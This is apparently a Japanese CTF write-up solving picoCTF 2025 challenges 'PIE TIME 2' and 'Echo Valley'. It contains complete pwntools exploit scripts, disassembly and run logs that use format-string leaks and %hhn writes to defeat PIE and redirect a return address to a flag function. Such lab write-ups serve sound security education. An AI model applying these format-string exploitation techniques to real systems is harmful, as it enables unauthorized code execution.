        info( f"type(addr)={type(addr)}, addr={addr}" )
        addr_main = int( addr, 16 )
    
    else:
        info( proc.recvline() )
        info( proc.recvline() )
        info( proc.recvline() )
    
    addr_win = addr_main - diff
    
    info( f"addr_main=0x{addr_main:08X}, addr_win=0x{addr_win:08X}" )
    
    proc.sendlineafter( ': ', hex(addr_win).encode('utf-8') )
    info( proc.recvline() )
    info( proc.recvline() )
    info( proc.recvline() )
    info( proc.recvline() )

def main():
    
    adrs = "rescued-float.picoctf.net"
    #adrs = "localhost"
    port = 55550
    #port = 4000
    
    #proc = gdb.debug( bin_file )
    #proc = process( bin_file )
    proc = remote( adrs, port )
    
    attack( proc )
    #proc.interactive()

if __name__ == '__main__':
    main()

まず、ローカルで実行していきます。proc = process( bin_file ) を有効にします。成功しました。

$ python pwnable_template.py
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] addr_main_offset=0x00001400, addr_win_offset=0x0000136A
[+] Starting local process './vuln': pid 160921
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] type(addr)=<class 'str'>, addr=0x5559882e3400
[*] addr_main=0x5559882E3400, addr_win=0x5559882E336A
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] You won!
[*] picoCTF{deadbeef}
[*] Process './vuln' stopped with exit code 0 (pid 160921)
Traceback (most recent call last):
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/pwnable_template.py", line 83, in <module>
    main()
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/pwnable_template.py", line 79, in main
    attack( proc )
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/pwnable_template.py", line 65, in attack
    info( proc.recvline() )
          ^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 498, in recvline
    return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil
    res = self.recv(timeout=self.timeout)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
                               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/process.py", line 742, in recv_raw
    raise EOFError
EOFError

では、サーバで実行します。proc = remote( adrs, port ) を有効にします。

うーん、セグメンテーションフォールトが出ます。ローカルファイルではなく、socatコマンドでもやってみましたが、うまくいきます。なぜか、サーバの場合だけ、セグメンテーションフォールトになってしまいます。

$ python pwnable_template.py
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] addr_main_offset=0x00001400, addr_win_offset=0x0000136A
[q] Opening connection to rescued-float.picoctf.net on port 56065: Trying 3.20.7[+] Opening connection to rescued-float.picoctf.net on port 56065: Done
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] type(addr)=<class 'str'>, addr=0x7ffff7e04bd8
[*] addr_main=0x7FFFF7E04BD8, addr_win=0x7FFFF7E04B42
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] Segfault Occurred, incorrect address.
Traceback (most recent call last):
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/pwnable_template.py", line 83, in <module>
    main()
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/pwnable_template.py", line 79, in main
    attack( proc )
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/pwnable_template.py", line 64, in attack
    info( proc.recvline() )
          ^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 498, in recvline
    return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil
    res = self.recv(timeout=self.timeout)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
                               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to rescued-float.picoctf.net port 56065

サーバだけうまくいかない状況は初めてです。何か見落としているかもしれませんが、コンテストは明日までなので、残念ですが、先に進もうと思います。

後日の解き直し(2025/5/13)

当時は締め切りがせまっていたので、ゆっくり考えることが出来ませんでした。時間が出来たので、もう一度挑戦してみます。

まず、ローカル環境では、%23 は main関数を示していました。そこで、デバッグ目的として、サーバ環境で、proc.sendlineafter( 'name:', b'%19$p,%20$p,%21$p,%22$p,%23$p,%24$p' ) に変更して、動作させてみます。以下は、その結果です。

GDB で見た main関数のアドレスは、0x555555555400 でした。サーバ環境では、0x7ffca91d3988 が main関数のアドレスのはずですが、0x7ff... というのは、なんかアドレスがいつもと違うように思います。1つ後ろが、0x100000000 ということで、位置としては、間違ってなさそうです。

b'0x631285f77441,(nil),0x71b6d9b28083,0x71b6d9d28620,0x7ffca91d3988,0x100000000\n'

先頭の 0x631285f77441 は、main関数への戻り番地(rbp の 1つ後ろ)です。同じ main関数のはずですが、アドレスが違いすぎます。戻り番地(main+65)の方を信用して、これを使って、main関数のアドレスを求める方法に変更してみます。

エクスプロイトコードは、以下に変更しました(attack関数のみ)。

単純に 65 を引けばいい、という考えです。

def attack( proc, **kwargs ):
    
    #proc.sendlineafter( 'name:', b'%23$p' ) # main
    #proc.sendlineafter( 'name:', b'%19$p,%20$p,%21$p,%22$p,%23$p,%24$p' )
    proc.sendlineafter( 'name:', b'%19$p' ) # main+65
    
    if True:
        addr = proc.recvline().decode('utf-8')
        info( f"type(addr)={type(addr)}, addr={addr}" )
        addr_main = int( addr, 16 ) - 65
        #addr_main = unpack( proc.recv(6), 'all' )
    
    else:
        info( proc.recvline() )
        info( proc.recvline() )
        info( proc.recvline() )
    
    addr_win = addr_main - diff
    
    info( f"addr_main=0x{addr_main:08X}, addr_win=0x{addr_win:08X}" )
    
    proc.sendlineafter( ': ', hex(addr_win).encode('utf-8') )
    info( proc.recvline() )
    info( proc.recvline() )
    info( proc.recvline() )
    info( proc.recvline() )

では、実行してみます。

フラグが表示されました。今後は、戻り番地を使っていこうと思います。

$ python exploit_pie_time_2.py
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] addr_main_offset=0x00001400, addr_win_offset=0x0000136A
[+] Opening connection to rescued-float.picoctf.net on port 49884: Done
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x10 bytes:
    b'Enter your name:'
[DEBUG] Sent 0x6 bytes:
    b'%19$p\n'
[DEBUG] Received 0x3d bytes:
    b'0x581ab79a1441\n'
    b' enter the address to jump to, ex => 0x12345: '
[*] type(addr)=<class 'str'>, addr=0x581ab79a1441
[*] addr_main=0x581AB79A1400, addr_win=0x581AB79A136A
[DEBUG] Sent 0xf bytes:
    b'0x581ab79a136a\n'
[DEBUG] Received 0x9 bytes:
    b'You won!\n'
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] You won!
[DEBUG] Received 0x26 bytes:
    b"picoCTF{p13_5h0u1dn'7_134k_2509623b}\n"
    b'\n'
[*] picoCTF{p13_5h0u1dn'7_134k_2509623b}
[*]
Traceback (most recent call last):
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/exploit_pie_time_2.py", line 86, in <module>
    main()
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/exploit_pie_time_2.py", line 82, in main
    attack( proc )
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/PIE_TIME_2/exploit_pie_time_2.py", line 69, in attack
    info( proc.recvline() )
          ^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 498, in recvline
    return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil
    res = self.recv(timeout=self.timeout)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
                               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to rescued-float.picoctf.net port 49884

Echo Valley(300 points)

1つの C言語のソースコード(valley.c)と、1つのバイナリプログラム(valley)をダウンロードできます。また、サーバを起動して進める問題のようです。

Echo Valley(300 points)
Echo Valley(300 points)

まず、ソースコードです。echo_valley関数では、ユーザ入力と、printf(buf) があり、無限ループになっています。書式文字列攻撃が出来そうです(何でもできそうな関数です)。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void print_flag() {
    char buf[32];
    FILE *file = fopen("/home/valley/flag.txt", "r");

    if (file == NULL) {
      perror("Failed to open flag file");
      exit(EXIT_FAILURE);
    }
    
    fgets(buf, sizeof(buf), file);
    printf("Congrats! Here is your flag: %s", buf);
    fclose(file);
    exit(EXIT_SUCCESS);
}

void echo_valley() {
    printf("Welcome to the Echo Valley, Try Shouting: \n");

    char buf[100];

    while(1)
    {
        fflush(stdout);
        if (fgets(buf, sizeof(buf), stdin) == NULL) {
          printf("\nEOF detected. Exiting...\n");
          exit(0);
        }

        if (strcmp(buf, "exit\n") == 0) {
            printf("The Valley Disappears\n");
            break;
        }

        printf("You heard in the distance: ");
        printf(buf);
        fflush(stdout);
    }
    fflush(stdout);
}

int main()
{
    echo_valley();
    return 0;
}

表層解析を行います。だいぶ厳しい条件です。

最終的に、print_flag関数にジャンプする必要がありますが、スタックカナリアが有効なので、リターンアドレスの書き換えは難しそうです。また、 Full RELRO なので、GOT書き換えも出来ないようです。

$ file valley
valley: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=389c2641f0d3caae81af5d21d9bb5bcf2de217f0, for GNU/Linux 3.2.0, with debug_info, not stripped

$ ~/bin/checksec --file=valley
RELRO       STACK CANARY  NX          PIE          RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Full RELRO  Canary found  NX enabled  PIE enabled  No RPATH  No RUNPATH  49 Symbols  No       0          2            valley

$ pwn checksec --file=valley
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/valley'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

とりあえず、GDB で起動して、アセンブラを見てみます。main関数のアセンブラです。main関数には、スタックカナリアは入ってないようです。

pwndbg> disassemble 
Dump of assembler code for function main:
   0x0000555555555401 <+0>: endbr64
   0x0000555555555405 <+4>: push   rbp
   0x0000555555555406 <+5>: mov    rbp,rsp
=> 0x0000555555555409 <+8>:  mov    eax,0x0
   0x000055555555540e <+13>:    call   0x555555555307 <echo_valley>
   0x0000555555555413 <+18>:    mov    eax,0x0
   0x0000555555555418 <+23>:    pop    rbp
   0x0000555555555419 <+24>:    ret
End of assembler dump.

続いて、echo_valley関数ののアセンブラです。

dwndbg> disassemble 
Dump of assembler code for function echo_valley:
   0x0000555555555307 <+0>: endbr64
   0x000055555555530b <+4>: push   rbp
   0x000055555555530c <+5>: mov    rbp,rsp
   0x000055555555530f <+8>: sub    rsp,0x70
=> 0x0000555555555313 <+12>: mov    rax,QWORD PTR fs:0x28
   0x000055555555531c <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000555555555320 <+25>:    xor    eax,eax
   0x0000555555555322 <+27>:    lea    rax,[rip+0xd37]        # 0x555555556060
   0x0000555555555329 <+34>:    mov    rdi,rax
   0x000055555555532c <+37>:    call   0x5555555550e0 <puts@plt>
   0x0000555555555331 <+42>:    mov    rax,QWORD PTR [rip+0x2cd8]        # 0x555555558010 <stdout@GLIBC_2.2.5>
   0x0000555555555338 <+49>:    mov    rdi,rax
   0x000055555555533b <+52>:    call   0x555555555140 <fflush@plt>
   0x0000555555555340 <+57>:    mov    rdx,QWORD PTR [rip+0x2cd9]        # 0x555555558020 <stdin@GLIBC_2.2.5>
   0x0000555555555347 <+64>:    lea    rax,[rbp-0x70]
   0x000055555555534b <+68>:    mov    esi,0x64
   0x0000555555555350 <+73>:    mov    rdi,rax
   0x0000555555555353 <+76>:    call   0x555555555120 <fgets@plt>
   0x0000555555555358 <+81>:    test   rax,rax
   0x000055555555535b <+84>:    jne    0x555555555376 <echo_valley+111>
   0x000055555555535d <+86>:    lea    rax,[rip+0xd27]        # 0x55555555608b
   0x0000555555555364 <+93>:    mov    rdi,rax
   0x0000555555555367 <+96>:    call   0x5555555550e0 <puts@plt>
   0x000055555555536c <+101>:   mov    edi,0x0
   0x0000555555555371 <+106>:   call   0x555555555170 <exit@plt>
   0x0000555555555376 <+111>:   lea    rax,[rbp-0x70]
   0x000055555555537a <+115>:   lea    rdx,[rip+0xd24]        # 0x5555555560a5
   0x0000555555555381 <+122>:   mov    rsi,rdx
   0x0000555555555384 <+125>:   mov    rdi,rax
   0x0000555555555387 <+128>:   call   0x555555555130 <strcmp@plt>
   0x000055555555538c <+133>:   test   eax,eax
   0x000055555555538e <+135>:   jne    0x5555555553c1 <echo_valley+186>
   0x0000555555555390 <+137>:   lea    rax,[rip+0xd14]        # 0x5555555560ab
   0x0000555555555397 <+144>:   mov    rdi,rax
   0x000055555555539a <+147>:   call   0x5555555550e0 <puts@plt>
   0x000055555555539f <+152>:   nop
   0x00005555555553a0 <+153>:   mov    rax,QWORD PTR [rip+0x2c69]        # 0x555555558010 <stdout@GLIBC_2.2.5>
   0x00005555555553a7 <+160>:   mov    rdi,rax
   0x00005555555553aa <+163>:   call   0x555555555140 <fflush@plt>
   0x00005555555553af <+168>:   nop
   0x00005555555553b0 <+169>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00005555555553b4 <+173>:   sub    rax,QWORD PTR fs:0x28
   0x00005555555553bd <+182>:   je     0x5555555553ff <echo_valley+248>
   0x00005555555553bf <+184>:   jmp    0x5555555553fa <echo_valley+243>
   0x00005555555553c1 <+186>:   lea    rax,[rip+0xcf9]        # 0x5555555560c1
   0x00005555555553c8 <+193>:   mov    rdi,rax
   0x00005555555553cb <+196>:   mov    eax,0x0
   0x00005555555553d0 <+201>:   call   0x555555555110 <printf@plt>
   0x00005555555553d5 <+206>:   lea    rax,[rbp-0x70]
   0x00005555555553d9 <+210>:   mov    rdi,rax
   0x00005555555553dc <+213>:   mov    eax,0x0
   0x00005555555553e1 <+218>:   call   0x555555555110 <printf@plt>
   0x00005555555553e6 <+223>:   mov    rax,QWORD PTR [rip+0x2c23]        # 0x555555558010 <stdout@GLIBC_2.2.5>
   0x00005555555553ed <+230>:   mov    rdi,rax
   0x00005555555553f0 <+233>:   call   0x555555555140 <fflush@plt>
   0x00005555555553f5 <+238>:   jmp    0x555555555331 <echo_valley+42>
   0x00005555555553fa <+243>:   call   0x555555555100 <__stack_chk_fail@plt>
   0x00005555555553ff <+248>:   leave
   0x0000555555555400 <+249>:   ret
End of assembler dump.

何でもできそうだと思いましたが、なかなか難しいです。echo_valley関数のスタックを可視化してみます。シンプルですね。

アドレス サイズ 内容
rbp - 0x70 100 buf(rsp)
rbp - 0x0C 4 空き
rbp - 0x08 8 スタックカナリア
rbp

もしかすると、書式文字列攻撃の任意のアドレスの値を書き換える方法で、スタックカナリアを壊さずに、ピンポイントにリターンアドレスを書き換えることが出来るかもしれません。その場合、このプログラムバイナリ(valley)のベースアドレスを求めるため、先ほどの問題と同様に、main関数のアドレスを先に出力しておく必要があります。

また、任意のアドレスの値が書き換えられるなら、スタックカナリアをリークしておいて、リターンアドレスを書き換えた後、スタックカナリアを書き戻すことも出来るかもしれません。こちらは 2回書き換えが必要なので、前者の方法で進めてみます。

まずは、main関数のアドレスをリークしてみます。GDB で、スタックの内容をダンプしてみました。main関数のアドレスが確認できます。書式文字列攻撃で、この位置を指定するには、引数のうち、レジスタが 5個分あり、その後のスタックが、19個分あるので、計24個分ですね。

pwndbg> tele 20
00:0000│ rsp 0x7fffffffdd70 ◂— 0
... ↓        13 skipped
0e:0070│ rbp 0x7fffffffdde0 —▸ 0x7fffffffddf0 ◂— 1
0f:0078│+008 0x7fffffffdde8 —▸ 0x555555555413 (main+18) ◂— mov eax, 0
10:0080│+010 0x7fffffffddf0 ◂— 1
11:0088│+018 0x7fffffffddf8 —▸ 0x7ffff7df024a (__libc_start_call_main+122) ◂— mov edi, eax
12:0090│+020 0x7fffffffde00 ◂— 0
13:0098│+028 0x7fffffffde08 —▸ 0x555555555401 (main) ◂— endbr64 

AAAAAAAA,%20$p,%21$p,%22$p,%23$p,%24$p,%25$p,%26$p,%27$p,%28$p,%29$p,%30$p,%31$p を入力してみると、You heard in the distance: AAAAAAAA,0x7fffffffddf0,0x555555555413,0x1,0x7ffff7df024a,(nil),0x555555555401,0x100000000,0x7fffffffdf08,0x7fffffffdf08,0x134c6decb129cd3c,(nil),0x7fffffffdf18 と出力されました。いっぱい出力しましたが、%25$p で、main関数のアドレスを出力できることが分かりました。

上の 0f:0078│+008 0x7fffffffdde8 —▸ 0x555555555413 (main+18) ◂— mov eax, 0 は、echo_valley関数の戻り番地です。ここを、print_flag関数のアドレスに書き換えたいわけです。今回の場合は、print_flag関数のアドレスは以下です。下位2byteを書き換えればいいですね。2byteを一気に書き換えようとすると、空白の出力が数万個になってしまうかもしれないので、書き換えは、1byteずつ行います。あ、書き換え先のアドレスのリークも必要でした。rbp に、スタックのアドレスが入ってるいるようなので、これは、上の %20$p で、これを -8 したところが書き換えたいアドレスになります。1byteずつ書き換えるので、そのアドレスに 0x69 を書き込み、+1 したところに 0x52 を書き込むことになります。ページ単位にしかアドレスはランダム化されないので、これより上位のアドレスは書き換える必要はありません。

では、実装していきます。デバッグコードもいくつか入ってますが、何とかできました。

#!/usr/bin/env python3
from pwn import *

bin_file = './valley'
context( os = 'linux', arch = 'amd64' )
# context.log_level = 'debug'

binf                = ELF( bin_file )
addr_main_offset    = binf.functions['main'].address
addr_flag_offset    = binf.functions['print_flag'].address
#addr_got_setbuf    = binf.got['setbuf']
addr_bss            = binf.bss()

diff = addr_main_offset - addr_flag_offset

info( f"addr_main_offset=0x{addr_main_offset:08X}, addr_flag_offset=0x{addr_flag_offset:08X}" )

def attack( proc, **kwargs ):
    
    if False:
        proc.sendlineafter( ': ', b'AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' )
        info( proc.recvline() )
        info( proc.recvline() )
    else:
        proc.sendlineafter( ': ', b'%20$p %25$p'.ljust(16, b' ') )
    
    info( proc.recvuntil(': ') ) # You heard in the distance: 
    
    if True:
        addr = proc.recvline().decode('utf-8')
        lst_addr = addr.split()
        info( f"addr={addr}, lst_addr[0]={lst_addr[0]}, lst_addr[1]={lst_addr[1]}" )
        addr_stack = int( lst_addr[0], 16 ) - 8
        addr_main  = int( lst_addr[1], 16 )
        #addr_main = unpack( proc.recv(6), 'all' )
    
    else:
        info( proc.recvline() )
        info( proc.recvline() )
        info( proc.recvline() )
    
    addr_flag = addr_main - diff
    
    info( f"addr_main=0x{addr_main:08x}, addr_flag=0x{addr_flag:08x}, addr_stack=0x{addr_stack:08x}" )
    second = (addr_flag >> 8) & 0xFF
    first  = addr_flag        & 0xFF
    if first < second:
        ss = f"%{first}x%9$hhn%{second - first}x%10$hhn"
        info( f"first < second: ss={ss}" )
        proc.sendline( ss.encode('utf-8').ljust(24, b' ') + p64(addr_stack) + p64(addr_stack+1) ) # 0x4A 0x61
    else:
        ss = f"%{second}x%9$hhn%{first - second}x%10$hhn"
        info( f"first > second: ss={ss}" )
        proc.sendline( ss.encode('utf-8').ljust(24, b' ') + p64(addr_stack+1) + p64(addr_stack) )
    
    proc.sendline( b'exit' )
    
    info( proc.recvrepeat() )
    info( proc.recvline() )
    info( proc.recvline() )
    info( proc.recvline() )

def main():
    
    adrs = "shape-facility.picoctf.net"
    #adrs = "localhost"
    port = 60833
    #port = 4000
    
    #proc = gdb.debug( bin_file )
    #proc = process( bin_file )
    proc = remote( adrs, port )
    
    attack( proc )
    #proc.interactive()

if __name__ == '__main__':
    main()

フラグの位置が、"/home/valley/flag.txt" に固定されているので、フォルダを作って、ファイルを配置しました。では、実行してみます。まずは、ローカルのバイナリファイルに対して実行します。出ました!

$ python exploit_valley.py 
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/valley'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] addr_main_offset=0x00001401, addr_flag_offset=0x00001269
[+] Starting local process './valley': pid 241006
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/exploit_valley.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  info( proc.recvuntil(': ') ) # You heard in the distance:
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] 
    You heard in the distance: 
[*] addr=0x7fffbd31aca0 0x558d41331401     
    , lst_addr[0]=0x7fffbd31aca0, lst_addr[1]=0x558d41331401
[*] addr_main=0x558d41331401, addr_flag=0x558d41331269, addr_stack=0x7fffbd31ac98
[*] first > second: ss=%18x%9$hhn%87x%10$hhn
[*] Process './valley' stopped with exit code 0 (pid 241006)
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] You heard in the distance:           413320c1                                                                                      0   ¬1½ÿ\x7fThe Valley Disappears
    Congrats! Here is your flag: picoCTF{deadbeef}
Traceback (most recent call last):
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/exploit_valley.py", line 78, in <module>
    main()
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/exploit_valley.py", line 74, in main
    attack( proc )
  File "/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/exploit_valley.py", line 59, in attack
    info( proc.recvline() )
          ^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 498, in recvline
    return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil
    res = self.recv(timeout=self.timeout)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
                               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/process.py", line 714, in recv_raw
    raise EOFError
EOFError

しかし、またもや、サーバで実行すると、うまくいきません。。一応、ローカルで、socatコマンドを使った環境でも試してみます。

$ socat TCP-LISTEN:4000,reuseaddr,fork EXEC:"./valley"

では、実行してみます。こちらも成功しました。

$ python exploit_valley.py 
[*] '/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/valley'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] addr_main_offset=0x00001401, addr_flag_offset=0x00001269
[+] Opening connection to localhost on port 4000: Done
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/user/svn/experiment/picoCTF/picoCTF2025_BinaryExploitation/exploit_valley.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  info( proc.recvuntil(': ') ) # You heard in the distance:
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] 
    You heard in the distance: 
[*] addr=0x7ffe3d153570 0x562b1d88a401     
    , lst_addr[0]=0x7ffe3d153570, lst_addr[1]=0x562b1d88a401
[*] addr_main=0x562b1d88a401, addr_flag=0x562b1d88a269, addr_stack=0x7ffe3d153568
[*] first < second: ss=%105x%9$hhn%57x%10$hhn
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
